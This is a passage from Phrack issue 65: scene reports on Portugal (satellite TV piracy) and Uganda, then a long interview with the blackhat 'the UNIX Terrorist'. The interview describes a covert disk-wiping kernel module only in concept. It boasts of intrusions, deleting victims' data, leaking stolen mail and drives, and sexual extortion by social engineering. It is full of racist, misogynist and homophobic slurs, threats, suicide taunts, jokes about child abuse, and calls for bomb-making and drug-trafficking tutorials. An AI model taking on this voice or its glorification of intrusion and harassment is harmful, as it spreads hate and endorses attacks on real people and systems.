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people on some IRC networks. Some of these kids ended up having problems
with the police, but nothing serious.

Also in the start of the new millennium, satellite and cable Phreakers
starter to show up, breaking encrypted signals, an unnamed box came out,
that was plugged in the TV SCART connection and an external 9v power
supply, and unlocked (in fact, it broke the Nagravision encryption) every
single channel there was on cable TV, this box for a long time was though
to be made outside of Portugal, until I had the pleasure to meet the
original creator of it, and guess what, he was Portuguese, and lived next
to me, he explained me how it really worked, and how was the original
version, since the version that everyone had, that was commercialized
by lame groups searching for profit, had way too much components that it
didn’t need at all, it even got some traps, only to make itself more
expensive, and difficult to make, in order to avoid people
commercializing it. Also, satellite FTA boxes started to get themselves
modified nationally, in order to break satellite TV encryptions,
like Nagravision (used by or cable TV provider, ’TVCabo’). So did the
original TVCabo cable boxes, some national hackers were able to hack
the firmware, in order to get its unique ID (Boxkey), and created cards
that once plugged, were able to break the signal. After this, this
knowledge started to get public, but on a ’pratical’ way, and lots of
people started to make profit out of it, without knowing what they were
really doing. In other words, they knew if they bought this and that, and
used this and that software, were able to have free satellite/cable TV,
and they could seal later to other people. An example was the first
unnamed box that was created, it cost 4Euros to build, but people were
sealing it up to 100Euros. So do the FTA boxes, cost something around
70Euros unmodified, and were sold for 250Euros modified at no cost.

Nowadays, the scene is still obscure, and people are still ignorant,
sometimes, there is an exception, like when I went to an interview to
a part of the Bosch Group, where the guy interviewing me, by reading my
curriculum started to laugh silently, and said to himself ’A hacker..’ and
’hackers do not harm anyone... only if pushed too’, without me making any
mention to illegal activities (duh) or being member of this or that group.
When I was guessing myself unemployed, I got myself well employed, and
working on more areas than I was asked to, I even got myself involved
with robotics, automation, and electronics, when I was attending the
interview as web developer for an Intranet. Later, we found out that I
already knew him from the scene, and so did he knew me.

-----------------------------------------------------------------------

                        Ugandan Scene(surprise!!!!!)
                        ============================
                               by gmac

Introduction
------------

For those who don’t know what Uganda is n are too lazy to use google, well
in short its located on the African continent more specifically in Eastern
africa. Still lost then this will clear it all up for you, have you ever
heard of a movie called Last King of Scotland if yes then you know Uganda
and if No then use google.

Sometime back.....
------------------

Cutting edge computer technology is as you correct in assuming fairly new
in the Ugandan context, it cannot be more than 13 years old so generally
hacking on our scene had maintained a fairly urban legend status, not much
is avaliable on any hacking groups back in the day to be honest to my
knowledge they were almost none existent.

Present....
-----------
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Currently as technology advances the scene has surfaced with formation of
groups like gsquad by yours truly which is i believe the first of its kind
here, although hacking has still maintained its urban legend status the
scene is dominated by a few knowledgeable individuals. Bu..t the winds of
change are upon us because i have seen the advent of a new generation with
a desire which ofcourse has been fueled by hacker related movies like most
recently Die Hard 4.0. The gsquad remains the only active group providing
help to individuals on request and ofcourse releasing zines(which was but
made a print debut recently) which has won many fans but ofcourse inspired
by Phrack. This new generation needs content and i think Phrack is our one
stop Hacking Content Provider (HCP,oh i made that up).

We are late comers onto the scene but we will catch up because we have the
spirit, and oh it was BloodAxe’s first appeal that drove me to starting
the gsquad so i hope the circle of lost hackers’ appeal will inspire 
another individual somewhere on this planet.

We maybe in different lands but we are part of the same underground, so we
will survive the media caused division which started all these different
kind of hats i hear white hats....erm...black...grey we may soon hear pink
hats(ie blondes running security sites)

The spirit still lives on but its in a critical state......

Busts....
---------

This is almost a trivial joke because without any real laws noone can get
busted, but there is a motion to release laws due to rising fraud cases.
But of course there have been cases of major censorship, call monitoring
and all that by ISPs and of course the govt.

Appeal....(am sorry to put this part but i had to)
----------

I read the Underground Spirit article and i really think the onus is
on all of us to stage what i would call "a last stand" [like in X3] to 
stop the decline of the underground. Lets not stop at reminiscing the 
days of Mentor, BloodAxe, KL, the drama involving Agent steal and the 
like and start living them and all this starts with each individual 
making this "stand" a personal thing not just a battle for the circle 
of lost hackers or a few individuals. I really think what has hampered 
the growth of the underground has been lack of.....lets call it 
selfishness by the knowledgeable(read 3l33t) who undermine those new 
to the scene hence making them only become script kiddies atmost. 
This unwillingness to share knowledge has seriously hampered the
underground’s growth making the curious hunt for this knowledge from
"security" sites.

Underground...Underground..... UNDERGROUND we have a platform of
change and that platform is PHRACK...

Hey sorry it sounds like a battle cry...but it is!

Long live Phrack
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                             ==Phrack Inc.==

                 Volume 0xc, Issue 0x41, Phile #0x02 of 0x0f

|=------------------------=[ PHRACK PROPHILE ON ]=----------------------=|
|=----------------------------------------------------------------------=|
|=------------------------=[ The UNIX Terrorist ]=----------------------=|
|=----------------------------------------------------------------------=|

In this issue of Phrack, we have renewed with publishing the prophile
of an influencial underground character. The UNIX terrorist was already
prophiled two years ago but for some editorial reasons at the time, we 
were not able to get his prophile published. Now that the Phrack editorial 
staff has less open conflicts with some part of the scene represented by 
the_uT, we want to make sure everyone remember his engagement. A lot of 
people believed he was an extremist blackhat hacker proning non-disclosure
during his time of activity. That was true. But he was not just this.

I have known the UNIX Terrorist in real life seven years ago. At this time,
during his youth, the_uT was a softer hacker. Dont get me wrong, the_uT 
(or whatever he was calling himself before) always had this characteristic
personality that made him an exceptionally creative dude. Later on, after 
he started body-building (rumors mention that he followed the advices of 
his idol Mike Shifman), he got that impressive shape that certainly 
represented better his mind shift towards a more aggressive prophile. The 
UNIX terrorist is the result of this evolution from a young skilled hacker 
to a disabused philosopher of the underground.

This prophile was realized by The Paper Street Hacker in November 2007
for publication in Phrack Magazine #65 by TCLH. Remember the opinion 
reflected in this interview only engages the UNIX Terrorist and does not 
represent the opinion of the Phrack editors. 

So here it is.

    
|=---=[ Specifications
                                                         
           Handle: the_uT
              AKA: daemon10, yu0, jungjeezy
    Handle origin: Africa
 Age of your body: 24
      Produced in: The Heart of Darkness, USA
        Living in: The Paper Street Soap Company, USA
  Height & Weight: Excessive" / 250lbs
             Urlz: http://web.textfiles.com/ezines/EL8/
        Computers: Anything with a network connection and a working ssh
                   client will do... I’d rather spend my money on clothes
                   & entertainment... less tech garbage also means my
                   bedroom doesn’t scare the bitches away
       Creator of: PROJEKT MAYHEM / Phrack High Council / anti.security.is
         Admin of: Most of South Korea/China ... 
        Member of: NAMBLA (proud sponsors of TOR!) / ANONYMOUS
         Projects: M4YH3M
            Codez: stealthrm, the first blackhat RM(1) utility, designed
                   to rm desktop computers silently. Distributed as a 
                   Linux LKM, VFS functions are hijacked so that file 
                   indexing and rm’ing can be smuggled and interleaved 
                   discretely amongst existing file operations. 
                   Additionally, keyboard I/O is monitored to determine 
                   the sysadmin’s presence. Sporadic file wiping occurs 
                   either during heavy PLANNED system hard drive use, or 
                   occurs slowly and steadily, with timed delays, while 
                   the console user is absent. The primary purpose is to 
                   avoid the alarming and sickeningly unexpected HDD 
                   "crunching" sound that alerts many would-be "rm -rf /"
                   victims to their impending doom. File removal is 
                   scheduled according to a proprietary prioritization 
                   algorithm whose factors include criteria such as 
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                   inode atimes and VFS type. Files are secure DOD-wiped 
                   in place, but not unlinked, preserving disk statistics.
     Active since: 1998
   Inactive since: I don’t sleep... I metastasize

|=---=[ Favorites
                                                                                
          Actors: Assorted government officials, "security experts,"
                  and "spiritual leaders" ... Scientologists
           Films: Apocalypse Now Redux, Happiness, Gummo, Pi, The Big
                  Lebowski, Bad Boy Bubby, Irreversible
         Authors: Bret Easton Ellis, Louis-Ferdinand Celine, Hunter S
                  Thompson, William S Burroughs, Will Self, Irvine Welsh,
                  H.L. Mencken, Mark Twain
        Articles: "The New Hacking Manifesto" - warez mullah, PHC Phrack
                  #62
                  "lyfestylez of the owned and lamest" - r0b1nleech,
                  ˜el8 3
          Admins: hendy of team-teso, The Digital Ebola[LoU],
                  pm/sneakerz.org
           Books: The Rise and Fall of the Third Reich, The Rape of
                  Nanking, The Protocols of the Elders of Zion
           Novel: Fight Club, 120 Days of Sodom, American Psycho,
                  Journey to the End of the Night, The Picture of 
                  Dorian Gray, The Jungle, Fear and Loathing in Las 
                  Vegas, Catch 22, A Confederacy of Dunces, The Story 
                  of /b/
         Meeting: ADMCon / France (2001)
         Project: The Manhattan Project, The Final Solution
             Sex: "You’re dead if you’re homely - my shit’s for adults,
                  over eight years old only"
           Drugs: Beta blockers and dissociatives... just about any
                  substance featured on Erowid or T-Nation... especially 
                  modafinil, ayahuasca, ketamine, dinitrophenol, epic 
                  stanozololz (Winstrofl), nandrolone, Epi-Pens
           Music: Revolutionary/violent/mysognist/apocalyptic hip-hop
                  Ex: Jedi Mind Tricks, Necro, Circle of Tyrants, Non
                  Phixion, Leak Bros, Immortal Technique, Q-Unique, 
                  Cage, Celph Titled Plastikman
         Alcohol: Like my women - 15-18 years old, single (malt) and on
                  the fucking rocks
            Cars: blue dodge viper (vroom vroom!)
           Foods: Whey protein hydrolysate, Vitargo CGL, BCAA’s,
                  l-glutamine, Carlson’s Fish Oil Liquid Omega-3
          I like: Andrei Chikatilo, 2girls1[cup/finger], Puma Swede,
                  thinspiration, violent sporting (WEC,UFC,Pride), 
                  solving intractable problems with violence,
                  achieving EPIC LULZ of unprecedented magnitude
       I dislike: Fat goths, CISSPs, fat people (in general), women with
                  a BMI over 18, women whose thighs touch when they stand,
                  miniature dogs, people who tailgate or drink beer out 
                  of red plastic cups, Basshunter

|=---=[ Your current life in a paragraph

         I’ll give you a hint... it doesn’t involve getting paid to do
         computer security research. The only reason I would even 
         consider using a computer anymore would be to meet women of 
         loose moral standards on myspace, or to engage in the wholesale
         piracy of music and video content, preferrably violent 
         pornography. Or maybe to get directions to a strip club on 
         mapquest... or order various scheduled substances from corrupt
         Eastern European pharmaceutical manufacturing facilities... In 
         fact, if you’re reading my prophile because you just happened 
         still to be reading Phrack in 2008 and stumbled upon it, then 
         I pity you... you fucking closet homosexual.

|=---=[ First contact with computers
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         Studying the mysteries of gorillas.bas and nibbles.bas,
         oldstyle!

|=---=[ Youth

         I was 300 lbs, bespectacled, and acne-stricken. I used to read
         copies of Dr. Dobb’s Journal in P.E. Everybody hated me. Then I
         underwent an emergency negroplasty and decided to enact my 
         revenge upon the world by inflicting massive verbal trauma 
         through a medium where personal interaction is impossible and 
         everybody feels tougher than they really are. So I installed 
         BitchX and went on EFNET, and the rest, my friend, is history.

|=---=[ Passions : What makes you tick

         I’m distinguished by an acutely defined and unparalleled sense
         of schadenfreude. Technology is pretty fun too (or at least it 
         was for a while), but what really drove me harder and further 
         was the exciting possibility of using computers to turn the 
         life of a particular fellow human being into a living hell.
         So no, I wasn’t that kid that used to hang out at Radio Shack
         pulling apart electronic equipment and reassembling it to "see 
         how it works." Shit like that doesn’t make you a "hacker" - it 
         makes you a wannabe EE undergrad. Driving people over the 
         precipices of depair and frustration is a great way to
         pass one’s time, but definitely falls short of the pleasure of
         discrediting or humiliating or otherwise defaming and 
         slandering the ill-earned reputations of the various charlatans 
         and hypocrites in the scene. Publishing the mail spoolz of
         the wicked, archiving the hard drives of the lame, and rm’ing
         the weak are all activities I find inspirational. Particularly, 
         I choose to self-medicate my anomie by proving myself smarter 
         and stronger than others. This is the sort of thing with which 
         we’ll have to make do until we can one day stalk elk around the
         ruins of the Rockefeller Center or strip venison in the empty
         carpool lanes of some abandoned superhighway. For further 
         information about what makes me "tick," please consult Dr. Neal
         Krawetz’s remarkable and highly academic psychological exegesis,
         fully annotated to official APA formatting standards.

|=---=[ Entrance in the underground

         It all began on EFNET, some time around 1998 (long before they
         had CHANFIX like dalnet!) in lame and lamer channels like #b4b0 
         and #feed-the-goats. Historical note: Several incredibly 
         diabolical and motivated individuals from b4b0 would come to 
         rule the virtual entirety of the Interweb with an iron fist for 
         the following decade. Yeah, I started hacking shit virtually 
         exclusively on TCP/IP networks, and started writing exploits 
         long after techniques like heap overflows and return-into-libc 
         were published, so fuck you if you have a problem with the fact 
         that I never scanned shit with toneloc or bruteforced SPRINTNET 
         logins.
         
|=---=[ Which research have you done or which one gave you the most fun?

         Writing any one of several reliable exploits for intelligently
         brute-forcing complex remote vulnerabilities, which all made me 
         feel like a hacker from THE MATRIX. Especially writing a 
         universal blind exploit for the Wu-FTPD globbing vuln for 
         versions 2.5.x-2.6.1 (cmdtab power!), and porting the remote
         client for CORE-SDI’s ingenious crc32 deattack backdoor to more
         exotic operating systems such as Solaris and IRIX (possibly the 
         world’s slowest exploit). Also, writing an LKM for dynamically 
         loadable stack/heap execution protection on Linux.
                                    
|=---=[ How started low-level ?

         Like most other "underground" groups out there, this one started
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         from the flawed notion that it would somehow be cool to get a 
         group of people together with a webpage and domain name and IRC 
         channel and write a bunch of POC code and publish it to the 
         public and post on sec lists for attention. It was a stupid 
         idea.

|=---=[ Personal general opinion about the underground

         Well, the underground is pretty much dead, but I guess you
         mostly have the security researchers out there to thank for that
         one. However, as a delicious proof of the old adage "be careful 
         what you wish for," security professionals have made their own 
         demand scarce. With vulnerabilities so much harder to find,
         it means that random idiots out there aren’t likely to find
         anything remotely useful by grep’ing for overflows in unsafe C 
         functions. The first sign that things were about to dry out 
         occurred during the format bug craze in 2000, which resulted in 
         the systematic scanning of all varargs style functions that were
         incorrectly used - the first time an entire class of 
         vulnerabilities has been nearly perfectly eradicated in a body 
         of open source code. Slowly over time, the same thing has 
         happened to most other memory and integer overflows, and casting
         bugs. What happens as a result? 0day becomes a highly valued 
         commodity. The chance of leakage decreases dramatically because:
         
         1. 0day is much more valuable
         
         2. Few people can find useful vulns, which decreases the amount
         of sharing. Additionally, smarter people usually find an 
         intrinsically higher value in their own work than people that 
         can’t understand the exploits they’re using.
         
         3. "When guns are outlawed only outlaws will have guns" -
         Praise be to Allah and the fact that the divine mathematics of
         exploit creation are now made sacred by entities like WIPO and 
         the DMCA. For nearly a decade, security companies relied on FUD
         and fearmongering, heralding the imminent spread of global 
         cyber-warfare and e-terror. A particularly salient example of 
         this idiocy would be the infamous Aris Threatcon, second in its
         contemptibility only to the Homeland Security Advisory meter. 
         These scare tactics worked for a while, as sec. companies 
         boosted sales of products such as firewalls, packet filters, 
         network scanners, and other useless trash by relentlessly
         trumpeting the seriousness of various "hacker" threats and by
         strategically scaring the public with their own original 
         (mostly stolen) advisories. Ironically, they ended up scaring 
         legislators more than the commercial sector, and now people 
         like Dmitry Skylarov are arrested for publishing their
         "astonishing!" findings. Note to security companies: you’re 
         attempting to be both the cause and the cure and we’ve got 
         use for neither.
         
         4. 0day auctions: Blackhats finally realize that it’s a lot
         more lucrative to sell exploit information to shadowy interest 
         groups. Such sales have the added benefit of preventing 
         information dissemination, because it works against the 
         interests of all parties involved. iDEFENSE, the first and
         largest name in hacking middlemanry, was forced to purchase 
         exploits from the underground when they realized they lacked 
         the technical skills in their meager R&D labs to find any 
         exploits on their own. But who in their right mind would 
         consider auctioning off vulns at Argentinian prices to a 
         whitehat sweatshop that will just pawn their findings off as 
         their own, and then publish them to Bugtraq - when they can make
         the same sale to somebody in the underground for 5-10x the cost 
         and rest assured that the vuln will stay alive?

         Nowadays, it is claimed that the Chinese and even WOMEN are
         hacking things. Man, am I ever glad I got a chance to experience 
         "the scene" before it degenerated completely. And remember, kids,



phrack65/2.txt Fri Jul 01 13:24:52 2022 5

         knowing how to program or wanting really badly to figure out how 
         things work inside doesn’t make you a hacker! Hacking boxes
         makes you a "hacker" ! That’s right! Write your local
         representatives at Wikipedia/urbandictionary/OED and let them 
         know that hackers are people that gain unauthorized 
         access/privileges to computerized systems! Linus Torvalds
         isn’t a hacker! Richard Stallman isn’t a hacker! Niels Provos
         isn’t a hacker! Fat/ugly, maybe! Hackers, no! And what is up with
         the use of the term "cracker"? As far as I’m concerned, that term
         applies to people that bypass copyright protection mechanisms. 
         Vladimir Levin? HACKER. phiber optik? HACKER. Kevin Mitnick? OK, 
         maybe a gay/bad one, but still WAS a "hacker." Hope that’s clear.
         

|=---=[ Memorable Experiences

         First box I ever owned (dropstat’d son)
         Watching widespread panic and hysteria grip IRC and various
         security mailing lists after the publication of ˜el8, esp. #2 
         and #3.
         The PHC Music & Film Festival, notably Joost Pol rms freebsd.cn
         The multi-homed attack/rm’ing of efnet irc operator "seiki,"
         which resulted in PHC primacy and alpha male hegemony over 
         #phrack
         Preparing the memorable vitriolic speech "Wolves Among Us"
         from scratch, in less than 30 minutes... then attempting to 
         deliver it without inducing fatal hilarity
         Becoming the Freddy Krueger of the Internet/IRC
         Celebrating Kwanzaa online in #darknet with assorted South
         African infosec luminaries
         Civil rights champions worldwide cheer when a Polish transsexual
         becomes the most recognizable expert on the vanguard of kernel 
         rootkit (un)detection research
         Having my first proposed Phrack prophile rejected by humorless
         German staff
         The suceessful social engineering of hacker "dvdman" - which
         resulted in the retrieval of an explicit masturbatory video of 
         aforementioned individual
         iDEFENSE contributors and their laughably low sell-out prices
         are revealed in "fake" Phrack
         Vomiting in my mouth (just a little bit) the first time I walked
         into the Alexis Park Hotel
         The communal rm’ing of w00w0’s jobe, which became the only
         known time in history where the same individual was rm’ed 
         concurrently by multiple intruders, who, up until the time
         of the attack, had no knowledge of each other’s presences
         Logging into my computer, relying only on muscle memory to type,
         after forgetting the alphabet and being too fucked up to read 
         the letters on my keyboard
         The look of surprise on the Cheshire Catalyst’s face after his
         password was shouted at him repeatedly, at approximately 80 
         decibels, while he was entertaining fans
         stringz attempts to replicate ˜el8, fails, and is shamed offline
         forever
         securityfocus.com adds thumbnail pictures to its original
         columns - I finally find out infosec rockstars such as Don 
         Parker, Scott Granneman, and Dr. Neal rawetz really look like!
         Slackware founder Patrick Volkerding sends an open SOS to the
         world after forgetting to brush his teeth nearly results in 
         fatal halitosis.
         Watching the IRC suicide/accidental deaths of rippah/electrosk0t
         unfold
         Marty Roesch reaches midlife crisis; denies own obesity and
         the owning of snort.org
         
|=---=[ Memorable people you have met
 
         The Blue Boar, at the very first Phrack High Council Ethics
         Roundtable
         The Rain Forest Puppy (sounds like an adorable stuffed animal
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         from Mattel(C) but dresses in shiny reflective raver clothing)
         Captain Crunch (No thanks du0d I don’t want you to open up my
         chakras with a special "energy massage")
         Ofir Arkin, world’s leading ICMP fingerprinting technologist
         Honey Dew Moore, child hacker prodigy and world’s leading
         exploit cataloguer
         Shok, world’s foremost Mormon hacker
         Surprisingly, some actual hackers (various members of MoD),
         while attending HOPE, the worst con I’ve ever been to
         The Death Vegetable, largest carbon footprint of any netizen
         Packet Fairy

|=---=[ Memorable places you have been

         spaf’s mail spool (although I’d give it back in a heartbeat
         for a chance to take a joyride in his electric wheelchair 
         instead)
         cvs.openbsd.org
         s1’s famous "Studio 31337" HACKING FORT
         Rloxley’s child porn archive

|=---=[ How started PR0J3KT M4YH3M ?

         The idea obviously isn’t something entirely new or original. 
         The earliest known historical precursor to Project Mayhem was
         Erostratus, who set fire to the Temple of Artemis at Ephesus,
         one of the Seven Wonders of the Ancient World. Though his
         motives were questionable (he achieved the act merely because 
         he had no other way of immortalizing his name), the base concept
         was there: destroying something beautiful just for the hell of
         it. Note: destruction and vandalism out of ignorance and fear 
         are decidedly less noble in nature. Obviously, there was some
         inspiration from the novel, Fight Club. As far as scene-related
         influences, there were some early precursors... the venerable 
         e-zine "CITADEL" and some of the better work of BOW (Brotherhood
         of Warez). ˜el8 was probably the single biggest source of 
         creative energy fueling PR0J3KT M4YH3M, and is still 
         remembered to this day as the greatest, most revolutionary
         blackhat publication of all time. But what really kick-started
         PR0J3KT M4YH3M was the apparent lack of success of 
         anti.security.is, a formal anti-disclosure movement constructed
         from a lucid and cogent document illustrating why it would be 
         better for all parties in the infosec community to stop 
         publishing exploit code. But as the US government is fond of 
         saying of the Taliban, it soon occurred to many of us that 
         these whitehats, like their white-turbaned friends in 
         Afghanistan, "respond only to violence." Enter PR0J3KT M4YH3M,
         a spawn off PHC’s Fight Club division. All in all, PR0J3KT 
         M4YH3M had an impressive run, resulting in the ownage of high
         profile whitehats including Theo de Raadt, Kevin Mitnick,
         and Marty Roesch. IRC servers were conquered and their 
         operators were vanquished. Prominent "hacker" magazines were 
         stolen and leaked prematurely. Hard drives were dd’ed, 
         tar’ed, gzipped’, gpg’ed, and shipped off to snu.ac.kr.
         Codes of whitehats were backdoored and published
         unexpectedly. Violent/offensive/sacrilegious blackhat 
         ASCII art was created. Heap exploitation tutorials were
         rebranded. Hitlists of the whitehat community were 
         compiled. Info-security professionals were fired. Whitehat 
         books & movies were leaked. g4yh1tl3r lived, died, and was born 
         again. And we all had a lot of fun. 

|=---=[ Things you are proud of

         Closing Captains of Crush #2 (multiple times, with finesse)
         Coining several catch phrases which framed the zeitgeist of
         the blackhat movement of the early 21st century, including 
         "w00w00 is p00p00"
         Becoming the first "hacker (over 5 ft. tall) on steroids"
         Transcending the blood-brain barrier
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         Reading the last 5 issues of Phrack without learning anything new
         Stealthily avoiding all hidden toilet/shower cams at HAL 2001
         Becoming the first hacker to write exploit headers in ebonics
         Proud author of an exploit that appears bundled with O’Reilly’s
         "Network Security Assessment" book, after infosec genius Chris 
         McNab deletes comments/headers and submits it for inclusion
         Becoming the first person to rm a box from a cellular device
         (while at a nightclub ala "Swordfish")
         Coming from a family free of mental retardation/physical birth
         defects
         Demonstrating to the world repeatedly how stupid it is to be
         a whitehat
         Triumphing over hackers such as mosthated, missnglnk, gov-boi,
         ben-z, ytcracker, kf, and joewee to earn the title of "blackest
         man on efnet"
         Learning how to krump proficiently after watching only 15
         minutes of Rize
         Serving for several years as the High Chancellor of *.ac.kr
         and *.ac.jp
         Ordering the world’s only team ˜el8 tank top from cafepress.com
         World’s fastest typer on sub-anaesthetic doses of special k
         Successfully masking my bipolar disorder in order to become a
         fully integrated and respected member of ’society’
         Rotating planes of polarized light counterclockwise around
         various enantiomers

|=---=[ Things you are not proud of

         Ever having released code to the public
         Ever having posted to a security mailing list in which the
         intention of my correspondence was less than utter sarcasm, 
         mockery, or malice
         Failed attempt at rm’ing def-con.org while at Defcon, due to
         network problems
         How underappreciated this prophile will inevitably be
         Not also ordering the "Countdown to rm" ˜el8 wall clock from
         cafepress.com
         Unknowingly losing an underground ytalk speed typing competition
         to a rogue TIOCSTI program

|=---=[ Opinion about security conferences

         There are any number of flawed reasons why people attend/speak
         at security conferences. If you’re looking for recognition or 
         publicity, you’re probably better off committing suicide
         on Youtube (see "Budd Dwyer" Wikipedia for ideas).
         If you’re looking for repulsive female companionship or fellow
         loser friends to socialize with "IRL," you’ll probably save 
         some time and airfare by checking your local Craigslist first.
         Otherwise, the proof is in the pudding. 10 years ago it would
         been inconceivable that there would one day be "security 
         conferences" in retard 3rd world shitpile countries like Mexico,
         Malaysia, and Pakistan. Countries whose only contributions to 
         the progression of the digital age
         have been the vigorous repeated typing of "jajaja" and "kekeke"
         and "gf0rce pakistan!!!" in
         various IRC channels and online message boards. Apparently,
         high tech vocations have taken
         over! My suggestion is to stock up on sombreros, Nikes, and
         taxi cab medallions now before
         they become relics of the past.

|=---=[ Opinion on Phrack Magazine 1985’ ? 1995’ ? 2005’ ? ’2007 ?
         
         I’ve always thought this magazine sucked, but in regards to
         the specifics of the question at hand, it’s probably gotten 
         steadily worse over time. OK OK... I’m sure the editorial staff
         would like me to say something positive here so here’s my best
         attempt: "PHRACK MAGAZINE - Hey, at least it’s not 2600!"
         This will probably be the worst issue yet, but that’s fine -
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         I’m just using this prophile as a mouthpiece for my dogma of 
         physical anabolism and moral decay.

|=---=[ What you would like to see published in Phrack ?

         An article on phones! (Not VOIP!)
         Definitely more mail spools... a renewed focus on homemade
         improvised explosive devices... maybe even some tutorials on
         drug trafficking for newbies
                  
|=---=[ Shoutouts to specific (group of) peoples

         Doing (R.I.P.), tr4shc4n m4n, krad, odaymaztr, Funny Bunny,
         module of rhino9, g4yh1tl3r, drater, the crazy Turk, Rocky 
         the virgin hacker Jesus, zilvio, all my Icelandic friends, 
         sk8, j & r, Hans Reiser (everybody on IRC talks about murder, 
         but nobody actually goes through with it), everybody on asylum 
         & its admin, my old friends from #!!ADM and #!hax, the 
         zoroastrian insomniac prophet & his partner in crime
 
|=---=[ Flames to specific (group of) peoples

         pm/gaius (hey did you know there’s a facebook group for
         HERT now?!?), hd moore & his ersatzsploit project (we
         commend you on your entrepreneurial vision of turning your
         look-mom-i-just-got-owned tcpdump logs into exploits with your
         own name on them), Richard "Dick Theft" Johnson (1500+ on his
         SAT; abject failure at real life), The Condor, THE WAREZ D00D 
         (your next ten bag of heroin will be cut with ricin), jobe, 
         Philip Emeagwali (father of the supercomputer/Internet), 
         slashdot, Valdis Kletnieks (if I can’t pronounce your name, 
         it’s time to kill yourself or go back to dragging a plow in 
         Latvia), "Dr." Neal Krawetz, Stefan Esser (currently being 
         hunted down by European PROJECT MAYHEM operatives with 
         instructions to sever the right hand in accordance with holy 
         e-jihad Shariah), Eric S. Raymond (still piecing back together
         his ˜ from backups after the brutal desecration of his OSI bazaar
         via CVS 0day), Electronic Souls, hack.co.za, xfocus, nsfocus, 
         Souljah Boy, "Tiger Team", GNU, Jose Nazario, Luigi Auriemma, 
         tsao[IC], divineint (I’m sure the Singaporian government would 
         have had you caned by now for trading IRIX/VMS/DGUX/AIX/HPUX/
         Windows src code if you weren’t already in their employment), 
         Raven (congratulations on having a vagina... it’s not even a 
         good one, but it’s still better than your brain so you should 
         probably try hooking instead of thinking for a living), Don 
         "Beetle" Bailey, Ron Dufresne, Gadi Evron, lcamtuf, Ulf 
         H?rnhammar, jeff moss, pete shipley & other vampire hackers, 
         jericho, marcus ranum, chesswick & bellovin, lamo, 
         markoff/shimomura/mitnick, theo, knuth, dijkstra & other
         CS theory fags, HACKER CRACKER

|=---=[ Quotes                   

         "WTF SAID I WAS A TRADER?" - The Warez Dude
         "eye dont wipe logz" - Kareless KaRL
         "I’m proud to say I have committed every sin in the Decalogue." -
         Sir Richard Burton
         "irc warfare isnt very fun when u can just vanquish your f0ez...
         i feel like i go thru life with IDDQD on...walking thru firewalls
         like IDSPISPOPD" - the_uT
         "I hate to think that all the whitehats in the world are
         concerned that phc members are busy hacking their home machines 
         when people are really playing ninja gaiden and hocking off their
         computers to buy $1000 dogs." - gayh1tler
         "While you were sleeping we helped ourselves" - Canaan Banana
         "I’m on the Zoloft to keep from killing y’all" - Mike Tyson
         "I’ve got 5 words for you: drugs smuggled in presidential
         baggage" - lu1g1
         "I guess I’m gonna fade into Bolivian" - Mike Tyson
         "I just want to conquer people and their souls" - Mike Tyson
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         "My power is so discombobulatingly devastating I could feel
         his muscle tissues collapse under my force. It’s ludicrous 
         these mortals even attempt to enter my realm." - Mike Tyson
         "step in2 my e-z bake oven!" - gayh1tler
         "I think my mask of sanity is about to slip." - Patrick Bateman
         "its not nice to treat other people’s boxes like toys-r-us" -
         unknown
         "With a gun barrel between your teeth, you speak only in
         vowels." - Fight Club
         "Fuck damnation, man! Fuck redemption! We are God’s unwanted
         children? So be it!" - Tyler Durden
         "Eat your lima beans!" - Pavel "Papa" Sandrak
         "A race condition is how fast you can hit the reset button when
         you start hearing your hdd whine" - unknown
         "We will achieve samadhi while meditating over s1’s studio
         31337 MOTD" - the_uT
         "Like our great leader, this kernel module selects a child and
         touches him in a very special way." - warez mullah, THE EMMANUEL
         GOLDSTEIN LKM
         "Cuz if you can take a fucking dick, you can take a joke" -
         Immortal Technique
         "The greatest trick the devil ever pulled was convincing the
         world he doesn’t exist" - The Usual Suspects / Baudelaire
         "So I’m rapelling down Mt. Vesuvius, and my rope breaks and I
         begin to fall and im falling, falling. Ahhhh, I’ll never forget
         the terror! Then I thought to myself, hey Hansel. Haven’t you
         been smoking peyote for 6 straight days and couldn’t some of
         this maybe in your head? " - Zoolander
         "Shit! If I’d known it was going to be this kind of party I’d
         have stuck my dick in the mashed potatoes!"
         "ARE YOU FUCKING RETARDED? STOP CRYING AND FUCK YOUR OWN ASS
         WITH IT" - facialabuse.com
         "So don’t ever talk shit. And remember something nigga, while
         you rave and rant - a roach can live for nine days without its
         head, but you can’t" - Immortal Technique
         "d00d thats not a LADY OF THE PEN, thats ___ from CUMFIESTA!" -
         unknown
         "Can somebody please tell me what the fuck A RED MAP is???"
         "i did it 4 the lulz" - ANONYMOUS
         "we dish out rm’s like petri" - the_uT
         "There he goes. One of God’s own prototypes. A high-powered
         mutant of some kind never even considered for mass production.
         Too weird to live, and too rare to die." - HST UNF UNF
         "Behold I am become death, the destroyer of worlds" - Robert
         Oppenheimer
         "It is better to find 10 dead babies in 1 trash can than to
         find 1 dead baby in 10 trash cans." - Unknown
         "NIGGA, THE RM IS THE NEW EUGENICS... EUGENIX" - unknown hacker
         "WTF SAID I WAS A TRADER?" - The Warez Dude
         "For personal reasons, I do not browse the web from my computer.
         (I also have not net connection much of the time.)  To look
         at page I send mail to a demon which runs wget and mails the
         page back to me. It is very efficient use of my time, but it
         is slow in real time." - Richard Stallman
         "and it shows that you are a complete dork. you are disconnected
         from reality. how can we take you for serious?" -
         mbalmer@openbsd.org in response to Stallman, officially winning
         at irony... FOREVERER
         "2 FAST 2 FURIOUS 4 U" - the_uT, upon winning an underground irc
         speed typing competition
         
                                   
|=---=[ Anything more you want to say 

         Looking back on my involvement in computers, I am very happy
         that the peak of my activity occurred right during the turn 
         of the 20th century. Hacking was no longer as simple as manual 
         labor (wardialing etc.) but finding vulnerabilities and writing 
         exploits and tools was not exactly as tedious and prohibitively 
         time-consuming as it is currently. To say that I would rather 
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         commit seppuku than adapt to the challenges of a changing world 
         by auditing code for SQL injection vulnerabilities and 
         client-side browser exploits is not an exaggeration. On the 
         upside of things, hardcore pornography is now far better and 
         more widely and freely available than ever, and productive
         programming like UFC can be seen on channels like Spike TV for
         free. Every day, more and more youngsters are born who are many
         times more likely to contribute articles to socially useful 
         publications such as Encyclopedia Dramatica instead of 2600. 
         Spreading terror and wreaking havoc for "epic lulz" have been 
         established as viable alternatives to contributing to open 
         source software projects. If you’re a kid reading this zine for
         the first time because you’re interested in becoming a hacker,
         fucking forget it. You’re better off starting a collection of 
         poached adult website passwords, or hanging out on 4chan. At 
         least trash like this has some modicum of entertainment value,
         whereas the hacking/security scene had become some kind of 
         fetid sinkhole for all the worst kinds of recycled academic 
